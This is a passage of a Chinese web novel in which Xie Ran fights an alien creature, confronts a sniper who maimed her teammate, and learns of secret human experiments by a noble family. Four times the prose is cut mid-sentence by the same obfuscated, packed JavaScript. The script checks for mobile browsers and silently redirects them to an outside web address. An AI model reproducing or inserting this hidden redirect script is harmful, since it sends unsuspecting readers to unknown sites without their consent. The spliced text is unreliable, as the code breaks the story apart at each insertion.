异能是什么?他一头雾水。斯立特说前任家主曾与它们达成过合作,也就是说族叔曾获取过异能。 但此事族叔并未在家主手札里有过提及,这或许是族叔的疏忽,但他从斯立特口中逐渐梳理出一些内容—— 人类可以获得异能。那么除了他族叔之外,异域生物是否与其他人有过合作? 是否有其他人拥有异能? 这种危险但强大的力量,很难不让人心动。 异域生物在联邦潜伏三年,他不认为只有族叔获得了这份“殊荣”。 一定有其他人也获得了异能,作为守护联邦的骑士团团长,他能敏锐意识到这不是一件好事。 在芸芸众生中忽然出现几个“超人”,会不会打破联邦现有的平衡? 就像几千年前联邦尚未统一时,最先拥有核武器的国家,打破诸国平等的局面,一跃成为世界主宰。 这个世界总归是弱肉强食的,强者没必要跟弱者讲道理。 爱德华承认,他在刚才有过一瞬动摇。 但他很快清醒过来,族叔身体莫名衰老,此前他一直找不出原因,方才斯立特告诉他,这是异能造成的。 人类的躯体无法承载它们的能量,想要获得异能,只能舍弃部分肉//体,否则就会爆体而亡。 而他的族叔不信邪,以完整的身躯注射了它们两种异能,只因斯立特异能特殊,没能落得爆体而亡的下场,但却无法抑制身体急速衰老。 即使不被谋杀,他族叔也会在半年内自然死亡。 爱德华觉得这简直荒唐。 他凭什么相信异域生物的话? 这些异域生物实力深不可测且目的不详。与这样的人谈交易,无异于把脖子主动送到对面刀下。对方随时能取走他的性命,而他却无法反抗。 这样的风险,是他绝对无法承受的。所以他很快看清局势,继续按原计划行动,将人引到窗边。 只是他没能料到敌人竟这般强悍,不仅没被击杀,连层皮都没破。 他们杀死了斯立特的同伴,这无疑惹怒了它,再多的解释也显得苍白无力。 斯立特伸出一根手指,抵在他心脏:“既无法合作,那便去给我的同伴陪葬吧,布朗家主。” 心脏处顿时传来巨大的压力,爱德华呼吸一凝,感觉死神已扼住了他的喉咙。 “快往下跳,爱德华!” 女孩的声音驱走死神的阴影,斯立特动作一顿,他趁此机会迅速翻身跳下窗沿。 身体急速下坠,风在耳边呼啸。楼下是坚硬的大理石台阶,照这个速度摔下去,绝没有生还的可能。 谢然真救得了他吗? 绝望之际,一道极快的身影闯入他的视线,谢然踏墙接力,朝他飞身而来,在他快要落地时稳稳拽住他的衣领,将他往不远处的草坪上丢去。 最终,他只狼狈地脸朝地摔了一跤,其余地方毫发无伤。 匆忙从地上爬起,却见救他的人血淋淋地站在一旁,面色白得可怕。 “你、受伤了?” 他带着巨大的惯性从高楼冲下,常人根本不可能接得住他。 受伤是正常的,脱臼、骨折都有可能。但…… 他怎么感觉谢然受的是枪伤? 她肩膀上那两个血洞是怎么回事? “没事。”谢然无暇顾及自己,因为斯立特的目光已锁定在她身上,晦暗的眼瞳里闪烁着异样的光。 她知道斯立特一定看出她拥有异能,并且因此对她充满兴趣。 此刻,斯立特对她的探究欲一定盖过了一切。 她朝楼上喊:“不如我们单独聊聊?” 斯立特果然答应了她:“好啊。不过碍事的家伙就让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578033|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先睡一觉吧。” “没问题。”谢然转头看向爱德华:“得罪了,布朗先生。” “你要做什——”爱德华难以置信看着谢然对他举起拳头。 她以极快的速度给了爱德华一手刀,爱德华反应不及,被她一掌劈晕过去。 耳机里传来常纪明紧张的询问声,他透过倍镜目睹了一切,但谢然此刻无暇管他,只以极小的声音说,让他在原地待命。 斯立特从窗台跃下,施施然落到地面,饶有兴致问:“你叫什么名字?” “谢然。”血越流越多,但身体里的能量却越来越强。她攥了攥手,不知道自己一拳能挥出多大力量。 她只是个D级异能者,在异能至少在A级的异域生物面前,这点力量或许只算蚍蜉撼树。 但除了拼上性命打一场,她还有什么办法…… “C级异能者……只瞎了只眼么?人类竟能提升异能……真是麻烦啊……” 谢然闻言一怔,C级异能者?谁?她吗? 再次感知了□□内的能量,似乎的确比以往汹涌得多。 她竟在不知不觉中提升了异能吗? 没想到提升异能竟比她想象的还要容易。 “连续两天遭遇重伤,寻常人流这么多血早死了,靠这种方式升级也算容易?”猫猫牌的声音贯入脑海:“别走神了,即使你现在是C级,也不是它的对手。” C级和D级的差异或许不明显,但C级和A级之间可以说天差地别。她流的血再多,也不可能打得过斯立特。 “不试试怎么知道?”谢然在脑中回。她放松肌肉,任由血越流越多,在脚下汇集成一个小血泊。 “不对……”斯立特眸色变得更加幽深,像是在自言自语般喃喃:“附近还有一个更高等级的异能者……他在哪……” 伯伦特已被打包丢出了布朗家,斯立特指的肯定不是他,那便只能是—— “曲星臣,它好像感知到你了,怎么办?” 斯立特朝谢然走近一步,表情愈发危险:“他是谁?你的同伙吗?才不过三年,为什么人类会拥有这么强的异能?他是A级……不,是S级么?” 谢然感到无比诧异,在脑海中呼唤:“曲星臣,它说你是S!你不是说自己只有A级吗?” “它说什么你都信?”胖猫说:“先别吵,我在想对付它的办法。” “那你快点。” 她见斯立特又朝她靠近一步,下意识后退,背抵在树干上。 斯立特抬起一根手指,像方才对待爱德华那样,指尖落在谢然心脏上。 她顿时感到难以言喻的重压吞噬了她的心脏,呼吸变得困难,却还是勉强扬起嘴角,用半开玩笑的语气说: “干什么?这样对女士,你不礼貌。” 斯立特神色一顿,似乎不理解她的意思。 “让你的同伴出来,否则,你会死。” “你说死就死?”谢然握住他的手指,用力往外掰。 见她竟掰动了它的手指,斯立特眼中露出几分讶色:“自扼系么……果真强悍。” 20. 第 20 章 他对眼前的女孩越来越感兴趣,也本能地生出更多凌虐欲。刚才他只用了两成力,此刻又加重了两成,微微屈指,将女孩的手骨碾碎。 “啊——”钻心的痛从手指迅速传导至全身,受伤的手顿时没了力气,软绵绵地垂下。本就没有血色的脸更加苍白,宛若一张脆弱的白纸。 “谢然!”猫猫牌从牌盒中飞出,看到她扭曲变形的手骨,大脑轰鸣。 除了三年前初次见面,他还是第一次见她受这么重的伤。 “我没事……”谢然咬牙将蚀骨钻心的痛忍了下去,抬起另一只手,握住斯立特的手指,往后狠狠一折。 “咔嚓”一声,那怪物的手指竟被她硬生生折断。 斯立特眼周肌肉微微一紧,缓缓将手收回:“看来……得一击毙命才行啊,否则会变得很麻烦。” “喂,”谢然偏头看向猫猫牌:“有想出什么办法吗?” 那家伙知道如何对付自扼系异能,再想不出对付它的法子,他们今天都得交代在这儿。 “没有,”猫猫牌开口说:“不过我看到了些别的,别紧张,今天不是我们的死局。” “什么意思?” “就是字面意思,今天我们应该都死不了。” 看着谢然讶异的神色,他不知该如何解释。算出这个结果时他也很惊讶,没有破局之策却不是死局,他的异能给了出一个完全自相矛盾的答案。 总不可能是异能出错了,他对自己有绝对自信。 到底是哪里出了问题…… 谢然被他弄得一头雾水,正想问些什么,但还没等她开口,斯立特低沉的嗓音却自耳边响起: “你……是谁?” 它的目光落在猫猫牌上,瞳孔轻颤。不知为何,谢然竟从它眼中看出几丝兴奋的情绪。 猫猫牌没想到它会和自己搭话,下意识皱眉:“我是谁需要跟你说?” 斯立特表情微顿,然后略一低头:“自然不必。” 它态度莫名变得谦卑,谢然眼睛一眯,目光在猫猫牌和斯立特之间打转。 斯立特认识曲星臣? 但斯立特下句话却让她怀疑稍减,它死死盯着曲星臣,用近乎笃定的口吻说:“虽然只是一张纸牌,但我的主告诉我,我不是你的对手。” 原来它态度的转变是因为害怕,不过她不解斯立特所谓的“主”是谁? “‘主’?那是什么东西?”曲星臣发出同样的疑问。从斯立特态度转变的那一刻,他就察觉到事情变得有些不对。 斯立特打不过他么?他觉得这完全不可能。他的异能没有攻击性,而他自身也没有防御手段,只要纸牌损毁,他的灵魂会跟着消散。 他的战斗力比一个手无缚鸡之力的普通人都要弱,凭什么让斯立特这般忌惮? 它所谓的“主”是什么?那玩意儿说话靠谱么? 斯立特没有正面回答他的问题,眼瞳重新变得幽深晦暗,声音也变得神秘淡漠:“你会知道的,总有一天。” 说完,他目光落到谢然身上,用同样的语气说:“我们还会再见的,谢然、女士。” 谢然眉梢微挑,这句话的意思是,它今天不打算杀他们。 斯立特半蹲下身,手掌轻轻贴在地面上。大地微微震动,谢然下意识察觉不妙,但尚未来得及躲,爆炸声便在耳边炸响,巨大的冲击波将她整个人掀翻出去,她只来得及将猫猫牌护在怀里,身体便重重砸向远处的花坛。 眼前是飞腾翻滚的尘土,遮挡住全部视线,难以抑制呕出几大口鲜血,剧烈的疼痛贯满全身。 这猝不及防的一摔,让她身上的骨头又断了四五根。 好在没有伤到腿骨,她挣扎着爬起,待烟尘落幕,斯立特已不见踪影,地面上只留下一个深不见底的巨坑。 这样的退场方式……着实出乎人预料。 爆炸声将布朗家所有人都引了过来,见到这堪称灾难的场面,皆瞠目结舌。 猫猫牌重新藏到谢然衣领下,老管家率先发现昏倒在地的爱德华,忙将他扶起:“少爷,您怎么了!” 他虽未看向谢然,但却是冲她发问。谢然淡声回了句:“他没事。” 光久年朝她看了一眼,的确,比起伤痕累累的谢然,少爷那点伤真不算什么。 苏祺三人朝这边跑来,小姑娘看到谢然的伤瞬间红了眼眶:“怎么搞成这样……” “害,小问题。”谢然摆摆手,不以为意。 “这如果是小问题,那什么是大问题?”苏祺吸了下鼻子。她想去扶谢然,又怕碰到伤口,一时有些手足无措。 好在布朗家的医疗队很快赶来,带走爱德华的同时,顺带帮她包扎了伤口。 她身上的伤太重,简单包扎无济于事。主治医生小声问她需不需要躺治疗舱?谢然摆摆手,说暂时不用。 事情还未处理完,她还不敢松懈。 “这里到底发生了什么?”光久年锐利的目光一直锁在谢然身上,要她给出一个解释。 她撑着花坛站起来,刚要开口,耳机里却忽然传来“刺啦”一声。 紧接着,容毓的声音响起:“真是拙劣的手段呢,跟学姐玩这种,真觉得学姐不会发现么?” 她竟发现了那枚收音芯片……听到她那边细微的风声,谢然刚放松的神经重新紧绷起来:“容毓,你在哪里?” “直呼学姐的名字,真没礼貌。”耳机那端的女人轻轻笑了下:“你不是都猜出来了么,学妹?” 谢然眸色一暗:“常纪明呢?” “他啊,”女人踹了踹脚边的人:“还留着一口气。” 少年倒在地上昏迷不醒,左臂与身体分离落在一旁,右肺、腹部、大腿各有一个弹孔不断往外淌血。他身下压着一把长刀,刀柄上刻着代表容氏家族的纹样。 血流到容毓脚边,染脏了她昂贵的鞋子。她轻啧了一声,原本她没想动刀,但少年在中弹后仍想反抗,为让他安生些,她才不得已砍下他的左臂,让他直接疼晕了过去。 下手有些重了……但好在避开了要害,若半小时内送进治疗仓说不定还有三成生还的可能。 但那条断臂估计接不回来了。 谢然咬牙:“为什么伤他?” “他做了错事,这不过是一点小惩罚。”容毓说:“想救他就来这里找我。记住,只有你一个人可以来。” 她的话同样通过耳机传到另外三人耳中,苏祺担忧看向谢然:“然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580868|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝,不能听她的,这一定是陷阱!” “要去救人也应该是我们去!”欧阳淮激动道:“我一定不会让纪明死在那里!” “我也去。”裘景嵘说:“谢然小姐,你身上的伤太严重,你才是最不该去的那个。” 容毓虽听不到他们说了什么,但从倍镜里能看到他们的反应,于是说:“你的同伴似乎很担心你呢。学妹可考虑好了,这把狙击枪里还剩三颗子弹,我这个位置,可以随时瞄准他们的脑袋。” 谢然深吸一口气,容毓竟拿他们的命威胁她,难道完全不把欧阳家和裘家放在眼里么? 她是有曲家庇护,但难道这就可以让她无法无天了吗? 谢然咬牙,虽知道容毓大概不会真对他们开枪,但常纪明还在她手上,她不敢赌。 “你们留在这里善后,我自己去。” 布朗家还有一堆烂摊子,来自各个星球的贵族都聚在这里虎视眈眈盯着他们,她得留人在这里把事情解释清楚。 “可是……”苏祺还想说些什么,却被她抬手打断。 她刚要走,脚下却一个踉跄。谢然扶着花坛缓了一会儿,她流的血太多了,脑袋不受控制感到眩晕。 “然宝……”苏祺咬了下唇,知道拦不住她,从包里掏出两粒她自己备的止血药,递到她唇边:“千万别逞强,一定要和我们保持通讯,你、一定要平安回来。” “谢了。”谢然吞下药片,拍拍她肩膀:“放心吧,我肯定死不了。” 苏祺的药见效极快,伤口很快不再往外渗血。谢然走到光久年面前,说:“请帮我备一辆车。” 她现在开不了车,得麻烦布朗家的家仆把她送到摩天大楼。 老管家被她晾了好一阵,见她不回答自己的问题,一开口还指使他做事,没好气道:“布朗家没有义务给您备车。” 谢然轻嗤,点开耳机让容毓也能听到她说话,略微弯腰靠近他说:“方才你没听到么?叫我过去的人是容毓。你以为她为什么指名道姓,偏与我过不去?” 老管家虽隐约觉得有些不对,但仍忍不住阴阳怪气说:“你们之间的矛盾,我们做下人的哪里知道?” “是么?”她直起身子,余光扫向周围宾客:“看来光管家不介意布朗家私下那些交易被外人知道。” 光久年面色一暗:“你都知道了些什么?” “全部。”谢然扶了下耳机:“而且大部分都是你们的家主亲口承认的。” 耳机那头的容毓不由眯了下眼,她就知道爱德华会掉链子。 性子软正义感又太强,连几个一年级的学生都解决不了,眼睁睁让他们牵扯出那些暗藏在地底的交易。 老管家不敢多说什么,那种事绝不可被外人知道,他只得听从谢然的安排,帮她备车。 趁等车的间隙,谢然上楼去到书房,剖开蝠蟾的心脏,拿走了心核。 十分钟后,她乘车抵达摩天大楼,坐电梯登上顶层,穿过安全通道一步步走向天台。 通道内由狭管效应形成的风吹得她伤口发疼,忍痛推开天台的门,见容毓朝她转过身,略带讶异地挑起一边眉毛: “受了这么重的伤还能保持清醒,你果然拥有异能呀,学妹。” 21. 第 21 章 谢然轻轻呼了口气,现在她不光清醒,更感觉自己强得可怕。左手从口袋掏出那把匕首,一派轻松地放在指尖转了转:“知道我有异能还敢叫我过来?对狙击手来说,近战可不占优势。” 她走到容毓面前,实在想不通这女人究竟有多大胆子,敢和她当面对峙。她随时能割断容毓的脖子,而对方却连反抗的机会都没有。 容毓笑了笑:“没办法,想问的事太多,不得不冒些风险。” 谢然看了眼她身后奄奄一息的少年,刀刃抵上她颈侧的大动脉:“我没工夫跟你扯皮,先让我把人带下去治疗。” “他伤得太重,估计躺治疗仓也无济于事。”容毓脸上依旧挂着淡淡的微笑:“抱歉,我下手太重了。” “你若真杀了他,就不怕常家的人找你麻烦吗?” 常纪明是常家独子,又得欧阳抚熙重视,容毓即使不把常家放在眼里,也绝不敢招惹欧阳家主。 容毓目光落到她右侧的耳钉上,好整以暇道:“我怕什么?你不是有法子救他么?” 谢然眉心一紧:“什么意思?” 方才她把蝠蟾的心核放在了这里,难不成这也被容毓瞧见了? 心核里的异能若制成试剂注入身体,的确能救常纪明一命。但她不想暴露自己拥有异能试剂的事,因为这会牵连出她雷安特教授的身份。 她不由攥紧手中的刀,如果容毓猜到了这一层,她就只能死在这了。 “学妹莫要与我装傻,”刀刃的寒光映入容毓眼底,她却丝毫不慌:“学姐只想知道与你合作的异域生物是谁?为什么给你异能?你究竟有什么特殊之处?” 听她这么说,谢然略松了口气。 原来容毓以为她和帕尔德一样,是异域生物合作的目标。 不过她逼问的态度,却有些耐人寻味。 “你也想拥有异能么?”谢然没有回答她的问题,反而抬起眸子看着她的眼睛反问,却发现容毓的目光竟落在她左侧眼罩上。 “是啊。”容毓承认:“但即使砍掉四肢,摘除大部分器官,人体也最多只能容纳A级的异能,太弱了……” “难道你还想拥有S级异能吗?”谢然拧眉。 她的确拥有S级异能试剂,也想过把它出售给值得信任的人。但脆弱的人体实在无法承受那么汹涌浩瀚的能量,曲星臣曾给过准确的预测,即使把人整个躯体砍掉,只留一个头,注射S级异能试剂后也会脑浆迸裂爆体而亡。 S级试剂对人类来说不是能一步登天的外挂,而是致命的毒药。 但容毓却低喃:“当真不能拥有么……” 谢然从这句话里品出一丝不寻常的味道。 容毓想拥有异能,必然知道异域生物的存在,这就代表掌控她的曲家也一样知道。 她对此倒不是很意外,当年曲随山旁观了她每一场提审,她早就说过杀死的学生都是来自外星系的异域生物,法庭上的人不信,不代表曲随山没有把她的话听进去。 唯一让她感到意外的是,她当年没透露过异能的信息,容毓却知道异能的存在。 甚至她对此掌握的信息不比她少。 这就说明,一定也有异域生物与曲家容家合作。 与他们合作的会是斯立特吗? 谢然觉得应当不是。 斯立特的目的是参与器官买卖的交易,虽不知它更深层的目的是为了什么,但想要达成参与交易这一浅层目的,它大可以去和掌握更多话语权的曲家合作。 但它没有,反而选择了布朗家。 她意识到曲容两家与布朗家之间存在一条明确的界限,处于下位的布朗家更像是打工仔,知道的内情肯定没有处于上位者的两家多。 所以容毓才会跳过爱德华,选择与出身曲家的光久年合作,在她的视角里,她和光久年才是站在天平一端的利益共同体。 他们合作的内容自然也不言而喻,杀死前来调查家主死亡案的五名学生,将异域生物和器官买卖的事永久掩藏。 帕尔德的死只揭开了这场黑暗交易的一角,她查清了凶手,却没能查出隐埋在其中的更多真相。 曲随山明知道异域生物入侵联邦,为何不肯将消息公之于众? 他难道不怕那些怪物有朝一日摧毁阿尔法星系么? 与那些怪物合作,究竟有什么好处? 异能…… 谢然重新打量眼前的女人,她躯体完整,没有明显外伤,她是没有异能的。 至于曲随山……她记得前不久在星网上看到了他最新的出行采访,他也一样四肢健全。 这两人都没有异能,却渴望异能,莫不是在寻找容纳S级异能的方法? 这就是他们与异域生物合作的目的? 她觉得荒谬。 为了一己之私,难道要拿全人类的命运去赌吗? 她无法容忍。 刀刃逼近容毓的脖颈,留下一道浅浅的红痕。 容毓露出惊讶的表情,没想到她真对自己起了杀意。 她很惜命,并不想今天把自己交代在这里。 翼桨旋转的震动声自不远处袭来,谢然神色一顿,抬眸却见一辆直升飞机盘旋在上空。 “看来我今日无法得到想要的答案了呢,学妹。” 直升机舱门打开,甩下一条钩锁。容毓抬手接住,钩锁迅速上升,带她离开这片是非之地。 谢然紧紧攥住刀柄,眉头紧锁。 她刚才有机会铲除敌人,但她没能下得去手。 这次的敌人不是来自外星的怪物,而是她的同胞,是人类。 面对人类,她竟心软了吗? 不,绝不可以…… “别想那么多,救人要紧!”猫猫牌急切的声音响起,唤她回神。 她微微一怔,松手丢下匕首,急忙去查看常纪明的情况。 手指贴在他颈侧,幸好,还有一丝脉搏。 “抱歉了。”从耳钉里取出蝠蟾的心核,融入一管试剂,注入他淡青色的血管。 人虽未醒,但脉搏重新变得有力,谢然松了口气,整个人仿佛卸了力般瘫坐到地上,抬手点开耳机:“苏祺,来接一下我们吧,我没力气了。” “好,我们马上到!” 得到苏祺的回应,她终于放松了神经,闭上眼放任自己昏睡过去。 再次醒来,谢然发现自己已躺在了布朗家的医疗室。抬头看了眼表,她只不过昏迷了六个小时,身上的伤却已好得七七八八,应该是治疗舱的功劳。 手肘撑着床面坐起,苏祺就趴在她床边休息,听见动静瞬间惊醒,视线对上她微微掀开的右眼,顿时喜道:“然宝,你终于醒了!” “常纪明呢?”她问。 “还在治疗舱里躺着,欧阳淮和裘景嵘在那边看着他。”苏祺说:“爱德华先生也醒了,我们跟客人简单解释了遍前因后果,没提异域生物的事,只说那些动静都是凶手闹出来的。布朗家接连两天遇袭,那些贵族都惜命的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588217|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很,现在都已经各自回去了。” 谢然点点头,怪不得她感觉外头清净不少。 她拿过床头的眼罩戴上,苏祺给她递了杯温水:“爱德华先生说,等你醒了,他要和你谈些事。” 她捧着杯子把水喝完,忍不住撇了下嘴,爱德华估计要和她谈谈劈晕他的事。 “吃点东西吧。”苏祺没注意到她的小动作,把放在保温盒里的三明治拿出来递给她。 她接过三明治,拾起桌上的耳机重新戴上,翻身下床:“我出去一趟,有情况及时汇报。” 苏祺起身:“要去找爱德华先生么?不用这么着急吧,你的伤才刚好……” “不是去找他。”谢然叼着三明治,活动了下四肢:“先别跟他说我醒了。” 确认身上的骨头都已接好,她冲苏祺摆摆手,大步流星朝门外走去。 “哎——”苏祺咽下嘴边那句“我陪你去”,望着她离开的方向,默默叹了口气。 三两口将三明治塞完,谢然走出布朗宅邸,到外面打了个车。 “你要去找伯伦特?”后座和前排中间拉着隔音板,猫猫牌肆无忌惮飞到她面前,开口问。 “嗯。”谢然点了下头:“有些事得去问个明白。” 爱德华做事还算仁义,将伯伦特丢到了他之前住过的酒店。房间所在的楼层不高,谢然不想惊扰任何人,索性直接翻窗。 房间内一片漆黑,隐约能瞧见床上躺着个人,估计是迷药药效没过人还没醒。 谢然拉上窗帘,“啪”得一声将灯打开。感受到刺眼的光线,床上人眉头轻皱,缓缓苏醒。 “晚上好啊,伯伦特先生。” 听到房间里有其他人说话,男人一个激灵差点喊出声。 “嘘,是我。” 见到是熟悉的面孔,男人声音卡在喉咙,不由自主瞪大双目。 “是、是你……” 谢然笑了笑:“别紧张,我来是想找你问些事。” “什么?”伯伦特下意识抓紧被罩,表情明显变得警惕。 “关于布朗家的事,你知道多少?”谢然盯着他眼睛问。 他眼神躲闪:“什么布朗家……我不知道。” “你杀死帕尔德的事,布朗家和我都知道了。”谢然背靠着墙,双手交叉抱胸:“不然你以为,你是怎么从布朗宅邸到这里来的?” 伯伦特表情微顿:“……是你救了我?” “算是吧,”谢然说:“不过你得答应我以后不许再去布朗家惹事,否则谁也救不了你。” 闻言,男人缓缓握紧拳头,由冰块组成的手向外散发出浓烈的寒气:“布朗家对我妹妹做了那么残忍的事,我怎么甘心放过他们!” “你先冷静些,虽然我也憎恨他们做那些肮脏的生意,但现在我们根本不是那些贵族的对手。布朗家已经注意到了你,再去招惹他们,你只会送死。” “什么生意?”男人抬头,通红的双眼含着七分恨意三分困惑。 “器官买卖啊,你妹妹不就是因为这个死在手术台上的么?” 男人瞳孔震颤,仿佛听到了什么荒谬的笑话:“什么器官买卖?他们竟是用这种借口来做遮羞布的么!” 谢然意识到事情似乎没有她想的那般简单,眉心一紧:“什么意思?” 伯伦特僵硬摇了摇头,似无力般冷笑了下,说:“布朗家根本没有做器官买卖,他们掳走那么多穷人,是为了拿他们的身体做人体实验啊!” 22. 第 22 章 “你说什么?布朗家在做什么人体实验?”谢然难以置信,眉眼间染上几分凝重。 伯伦特垂着头,回忆起那些可怖的画面,声音沉得可怕:“我利用异能探入了他们的实验室,看到他们将人解剖,只留下脑和脊柱,放到灌满培养液的密封罐里。我不知道他们要做什么,但能肯定的是,他们解剖人体,绝不是为了摘除他们的器官拿去卖。” 封存脑和脊柱……那场面听着就骇人,谢然不由拧眉,为什么要特意摘除人体一整套中枢神经系统……布朗家究竟要做什么? “除此之外,你还看到了什么?”她问。 伯伦特摇摇头:“没有别的了,那些人很警觉,我不敢多逗留。之后我便潜入了布朗家,杀死了操控这一切的罪魁祸首。” “但是布朗家的监控没有拍到你的身影,你是怎么进入帕尔德卧室的?” 伯伦特说:“我只避开了家仆,没有刻意避开监控。监控没有拍到我,或许是因为帕尔德的异能。” “他的异能是什么?” “痕迹消弭和毒液。”伯伦特说:“他拥有两种异能,一种能抹除他在一段时间内的全部痕迹,一种能使他的皮肤浸出毒液。我猜应该是在我进入布朗家时,他恰巧用了痕迹消弭使监控失效,才没能拍到我。” “两种异能?”谢然有些诧异,拥有两种异能和注入S级异能无异,都会让人瞬间爆体而亡,帕尔德是如何做到的? 这个问题伯伦特也无法回答,谢然垂眸,心道想知道答案估计只能去找给帕尔德异能的异域生物。 她看向伯伦特冒着寒气的断手:“你的异能升级了,对么?” 伯伦特摘下手套:“嗯。我也没料到能这么快升级。虽然获得了异能后,我每天都在练习,但熟练掌握后强度的提升微乎其微。后来我为了调查妹妹的下落得罪了不少人,也结了不少仇家,一直被追杀,受伤都是家常便饭。起初我的异能不算很强,抵抗不了那些子弹炸药。直到有一次我被人击中心脏,原以为活不成了,怎料在治疗舱里,我的异能突然开始修补伤口,把我从鬼门关拖了回来。再次醒过来时,我才发现自己的异能竟提升到了B级。” 谢然听着他的话陷入沉思,人只有在绝境中才能激发潜能,她能升级也是因为连续受了几次重伤。 照这么说,她能不能靠自己将异能升级到S级呢? 异域生物中必然存在S级的怪物,若人类永远无法获得S级异能,恐怕难以与之抗衡。 但究竟能不能将异能升到S级尚且是个未知数,在人类生死存亡的问题上马虎不得,她得做两手准备。 还是得启动超级核弹的研发…… 她没有那么多钱也没有那么大权,想要力排众议研发核弹,最简单的办法就是得到大主司的支持。 只要大主司站在她这边,他就是她最大的靠山。 这般想着,她想见大主司的心又迫切了几分,若大主司还刻意躲她,大不了她直接去不夜星堵他。 反正学校官网上,出自不夜星的任务有很多,她总能找到由头搭乘学校的星舰直接过去…… 伯伦特见她半晌没说话,不知道她在想什么,有些局促地清了下嗓子,小心翼翼开口说:“我现在拥有B级异能,凝成的冰刃可以刺穿钢□□筑的冰墙任何炸药都无法损毁。在天曜星没人能拿我怎样,即使这样您也不允许我再去找布朗家的麻烦吗?” 他征求意见的样子出乎意料地乖顺,让谢然有些意外:“你都说了,没人能拿你怎样,包括我。若你执意要去,我也没办法阻拦。” 伯伦特摇摇头:“异能是您赐予的,如果不是您,我根本无法走到这一步。无论怎么说,您都有支配它的权力。” “我并不想限制你的自由,伯伦特。”谢然斟酌片刻,说:“不想让你再去布朗家,是因为这件事远不止你以为的那么简单。” 她不能透露太多,毕竟这里面牵扯的不止布朗氏一个贵族。伯伦特没有追问,只低头沉默了一会儿,然后说:“我明白了,今晚我便会离开天曜星,不会给您添麻烦。但……您会把所有事都查清楚的对么?我知道您如今是卡尔德里斯的学生,也知道来这里的目的。卡尔德里斯是执掌正义的学院,您会还我们一个公道,对么?” “我会的,伯伦特。”谢然看着他的眼睛承诺。 伯伦特释然地笑了笑:“有您这句话,我就放心了。” 与伯伦特分别后,谢然返回布朗家,叩响爱德华书房的门。 似乎为了等她,房门没有上锁,她直接推门而入。凌乱的房间早已被打扫干净,窗户也换上新的防弹玻璃。唯有蝠蟾的尸体还摆在原位,虽伤口上的血迹已经凝固,但仍让整个房间充斥着难以言喻的味道。 谢然瞥了眼坐在办公桌后的爱德华:“怎么不把尸体搬走?” “我想,谢然小姐应当先向我解释解释,尸体上的心脏呢?”男人十指交叉抵在唇边,面色沉翳。 “我拿走了。”她供认不讳,既然容毓已经知道她拥有异能,她便没必要再对爱德华隐瞒:“我需要提取出里面的异能救我的同伴。” “异能?你果然也知道。”男人抬眸,眼睛里压抑着翻涌的情绪:“谢然小姐,你究竟是什么人?” 谢然挑眉:“如你所见,我只是一个穷学生。” “不。”爱德华说:“你是雷安特教授。” 谢然微微一笑:“你是说,由大主司米里埃先生亲自执刑的死刑犯,死而复生了么?” 这句话像瞬间掐住爱德华的喉咙,他下意识否认:“我不是这个意思……” 谢然目光淡淡落到他眼睛上:“大主司做事绝不会有半分差池,雷安特教授已经死了,我怎可能是她?” 男人呼吸一凝,最后宛若妥协般点了头:“你说得对。” 谢然满意地收回视线,大主司是爱德华的信仰,不管他信不信,都不会跟别人乱说什么。 “为什么要在斯立特面前打晕我?”他转而换了个话题,刚才交锋的失败让他气场稍弱,为让自己的气势不落于人,他开口的语气变得尖锐:“你们两个难道还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590840|204722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么见不得人的秘密?” “我若不打晕你,你会被他杀死。”谢然丝毫不被他影响,耸了耸肩道。 “你知道我想问的不是这个。”爱德华眉眼压低:“打晕我之后,你和它说了些什么?” 谢然垂眸盘算片刻,决定将从伯伦特那儿得来的消息甩给斯立特:“它跟我说了些有关你们家秘密实验的事,问我有没有兴趣参与。” 话音未落,男人眉头便猛地一跳:“什么秘密实验?” 她笑意愈深:“爱德华先生,或许你应该向我解释一下,为什么斯立特对器官买卖的事一无所知?” 爱德华视线下垂,目光躲闪:“是这样么……我不是很清楚。” 